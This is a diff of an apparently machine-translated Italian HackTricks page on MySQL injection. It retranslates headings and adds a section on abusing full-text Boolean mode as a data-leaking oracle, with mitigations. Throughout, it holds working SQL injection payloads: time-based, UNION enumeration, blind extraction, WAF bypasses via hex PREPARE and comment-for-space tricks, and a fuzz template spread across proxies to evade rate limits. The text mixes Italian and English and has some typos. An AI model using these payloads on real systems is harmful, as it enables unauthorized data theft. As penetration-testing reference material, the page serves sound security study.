diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index 375193600..5f54298de 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ``` -## Tutte le iniezioni +## Tutte le injection ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` -from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) +da [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) -## Flusso +## Flow -Ricorda che nelle versioni "moderne" di **MySQL** puoi sostituire "_**information_schema.tables**_" con "_**mysql.innodb_table_stats**_**"** (Questo potrebbe essere utile per bypassare i WAF). +Ricorda che in "moderne" versioni di **MySQL** puoi sostituire "_**information_schema.tables**_" per "_**mysql.innodb_table_stats**_**"** (Questo potrebbe essere utile per bypass WAFs). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table @@ -64,22 +64,22 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges - `group_concat()` - `Limit X,1` -### **Cieco uno per uno** +### **Blind one by one** -- `substr(version(),X,1)='r'` o `substring(version(),X,1)=0x70` o `ascii(substr(version(),X,1))=112` +- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112` - `mid(version(),X,1)='5'` -### **Cieco aggiungendo** +### **Blind adding** -- `LPAD(version(),1...lunghezza(version()),'1')='asd'...` -- `RPAD(version(),1...lunghezza(version()),'1')='asd'...` -- `SELECT RIGHT(version(),1...lunghezza(version()))='asd'...` -- `SELECT LEFT(version(),1...lunghezza(version()))='asd'...` +- `LPAD(version(),1...lenght(version()),'1')='asd'...` +- `RPAD(version(),1...lenght(version()),'1')='asd'...` +- `SELECT RIGHT(version(),1...lenght(version()))='asd'...` +- `SELECT LEFT(version(),1...lenght(version()))='asd'...` - `SELECT INSTR('foobarbar', 'fo...')=1` -## Rileva il numero di colonne +## Rilevare il numero di colonne -Utilizzando un semplice ORDER +Usando un semplice ORDER ``` order by 1 order by 2 @@ -92,7 +92,7 @@ UniOn SeLect 1,2 UniOn SeLect 1,2,3 ... ``` -## MySQL Basato su Union +## MySQL Union Based ```sql UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... @@ -101,66 +101,66 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF -**Impara qui diverse opzioni per** [**abuse a Mysql injection per ottenere un SSRF**](mysql-ssrf.md)**.** +**Scopri qui diverse opzioni per** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** ## WAF bypass tricks ### Esecuzione di query tramite Prepared Statements -Quando le query impilate sono consentite, potrebbe essere possibile bypassare i WAF assegnando a una variabile la rappresentazione esadecimale della query che si desidera eseguire (utilizzando SET), e poi utilizzare le istruzioni MySQL PREPARE ed EXECUTE per eseguire infine la query. Qualcosa del genere: +Quando stacked queries sono consentite, potrebbe essere possibile bypassare i WAF assegnando a una variabile la rappresentazione esadecimale della query che si vuole eseguire (usando SET), e poi usare le istruzioni MySQL PREPARE ed EXECUTE per eseguire infine la query. Qualcosa di simile: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` -Per ulteriori informazioni, si prega di fare riferimento a [questo post del blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). +Per maggiori informazioni consulta [questo post del blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). -### Alternative a information_schema +### Alternative a Information_schema Ricorda che nelle versioni "moderne" di **MySQL** puoi sostituire _**information_schema.tables**_ con _**mysql.innodb_table_stats**_ o con _**sys.x$schema_flattened_keys**_ o con **sys.schema_table_statistics** -### MySQLinjection senza VIRGOLA +### MySQLinjection senza virgole -Seleziona 2 colonne senza utilizzare alcuna virgola ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): +Seleziona 2 colonne senza usare alcuna virgola ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` -### Recupero dei valori senza il nome della colonna +### Recuperare i valori senza il nome della colonna -Se a un certo punto conosci il nome della tabella ma non conosci il nome delle colonne all'interno della tabella, puoi provare a scoprire quanti sono le colonne eseguendo qualcosa come: +Se conosci il nome della tabella ma non i nomi delle colonne al suo interno, puoi provare a scoprire quante colonne ci sono eseguendo qualcosa del tipo: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` -Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra è il flag, puoi provare a forzare il contenuto del flag provando carattere per carattere: +Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra la flag, puoi provare a bruteforce il contenuto della flag provando carattere per carattere: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) -### Injection senza SPAZI (`/**/` comment trick) +### Injection without SPACES (`/**/` comment trick) -Alcune applicazioni sanitizzano o analizzano l'input dell'utente con funzioni come `sscanf("%128s", buf)` che **si fermano al primo carattere di spazio**. -Poiché MySQL tratta la sequenza `/**/` sia come un commento *che* come uno spazio bianco, può essere utilizzata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida. +Alcune applicazioni sanitizzano o analizzano l'input dell'utente con funzioni come `sscanf("%128s", buf)` che **si fermano al primo carattere di spazio**. +Poiché MySQL tratta la sequenza `/**/` come commento *e* come spazio bianco, può essere usata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida. -Esempio di bypass dell'iniezione cieca basata sul tempo che elude il filtro degli spazi: +Esempio time-based blind injection bypassing the space filter: ```http GET /api/fabric/device/status HTTP/1.1 Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' ``` -Quale il database riceve come: +Che il database riceve come: ```sql ' OR SLEEP(5)-- -' ``` Questo è particolarmente utile quando: -* Il buffer controllabile è limitato in dimensione (ad es. `%128s`) e gli spazi terminerebbero prematuramente l'input. -* Iniettando attraverso intestazioni HTTP o altri campi dove gli spazi normali vengono rimossi o utilizzati come separatori. -* Combinato con le primitive `INTO OUTFILE` per ottenere un RCE completo pre-autenticazione (vedi la sezione MySQL File RCE). +* Il buffer controllabile è limitato nella dimensione (es. `%128s`) e gli spazi terminerebbero prematuramente l'input. +* Iniettando tramite HTTP headers o altri campi in cui gli spazi normali vengono rimossi o usati come separatori. +* Combinato con primitive `INTO OUTFILE` per ottenere un RCE completo pre-auth (vedi la sezione MySQL File RCE). --- -### Storia di MySQL +### MySQL history Puoi vedere altre esecuzioni all'interno di MySQL leggendo la tabella: **sys.x$statement_analysis** @@ -170,7 +170,52 @@ mysql> select @@innodb_version; mysql> select @@version; mysql> select version(); ``` -## Altri guide all'iniezione MYSQL +## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR) + +Questa non è una classica SQL injection. Quando gli sviluppatori passano input utente in `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL esegue un insieme ricco di operatori di ricerca booleana all'interno della stringa tra virgolette. Molte regole WAF/SAST si concentrano solo sulla rottura delle virgolette e non considerano questa superficie. + +Key points: +- Gli operatori vengono valutati all'interno delle virgolette: `+` (deve includere), `-` (non deve includere), `*` (trailing wildcard), `"..."` (frase esatta), `()` (raggruppamento), `<`/`>`/`~` (pesi). Consulta la documentazione MySQL. +- Questo permette test di presenza/assenza e di prefisso senza uscire dalla stringa letterale, e.g. `AGAINST('+admin*' IN BOOLEAN MODE)` per verificare qualsiasi termine che inizi con `admin`. +- Utile per costruire oracoli come “esiste qualche riga che contiene un termine con prefisso X?” e per enumerare stringhe nascoste tramite espansione per prefisso. + +Example query built by the backend: +```sql +SELECT tid, firstpost +FROM threads +WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE); +``` +Se l'applicazione restituisce risposte diverse a seconda che il result set sia vuoto (es. reindirizzamento vs. messaggio di errore), questo comportamento diventa un Boolean oracle che può essere usato per enumerare dati privati come titoli nascosti/eliminati. + +Sanitizer bypass patterns (generic): +- Boundary-trim preserving wildcard: se il backend rimuove 1–2 caratteri finali per parola tramite una regex come `(\b.{1,2})(\s)|(\b.{1,2}$)`, invia `prefix*ZZ`. Il cleaner rimuove i `ZZ` ma lascia il `*`, quindi `prefix*` sopravvive. +- Early-break stripping: se il codice rimuove gli operatori parola per parola ma smette di processare quando trova un qualsiasi token con lunghezza ≥ min length, invia due token: il primo è un token di scarto che soddisfa la soglia di lunghezza, il secondo contiene l'operator payload. Per esempio: `&&&&& +jack*ZZ` → dopo la pulizia: `+&&&&& +jack*`. + +Payload template (URL-encoded): +``` +keywords=%26%26%26%26%26+%2B{FUZZ}*xD +``` +- `%26` è `&`, `%2B` è `+`. Il suffisso `xD` (o qualsiasi due lettere) viene rimosso dal cleaner, preservando `{FUZZ}*`. +- Considera un redirect come “match” e una pagina di errore come “no match”. Non seguire automaticamente i redirect per mantenere l'oracolo osservabile. + +Flusso di enumerazione: +1) Inizia con `{FUZZ} = a…z,0…9` per trovare corrispondenze della prima lettera tramite `+a*`, `+b*`, … +2) Per ogni prefisso positivo, dirama: `a* → aa* / ab* / …`. Ripeti per recuperare l'intera stringa. +3) Distribuisci le richieste (proxies, multiple accounts) se l'app impone flood control. + +Perché i titoli spesso leak mentre i contenuti no: +- Alcune app applicano i controlli di visibilità solo dopo un MATCH preliminare su titles/subjects. Se il control-flow dipende dall'esito “any results?” prima del filtraggio, si verificano existence leaks. + +Mitigazioni: +- Se non ti serve la logica Boolean, usa `IN NATURAL LANGUAGE MODE` o tratta l'input utente come un literal (escape/quote disabilita gli operatori in altre modalità). +- Se la modalità Boolean è richiesta, rimuovi o neutralizza tutti gli operatori Boolean (`+ - * " ( ) < > ~`) per ogni token (no early breaks) dopo la tokenizzazione. +- Applica filtri di visibilità/autorizzazione prima del MATCH, oppure unifica le risposte (timing/status costanti) quando il result set è empty vs. non-empty. +- Rivedi funzionalità analoghe in altri DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` analizzano anche operatori all'interno di argomenti tra virgolette. + +Note: +- Prepared statements non proteggono dall'abuso semantico di `REGEXP` o operatori di ricerca. Un input come `.*` rimane una regex permissiva anche dentro un quoted `REGEXP '.*'`. Usa allow-lists o guard espliciti. + +## Altre MYSQL injection guides - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) @@ -178,6 +223,10 @@ mysql> select version(); - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) +- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) +- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) +- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) {{#include ../../../banners/hacktricks-training.md}}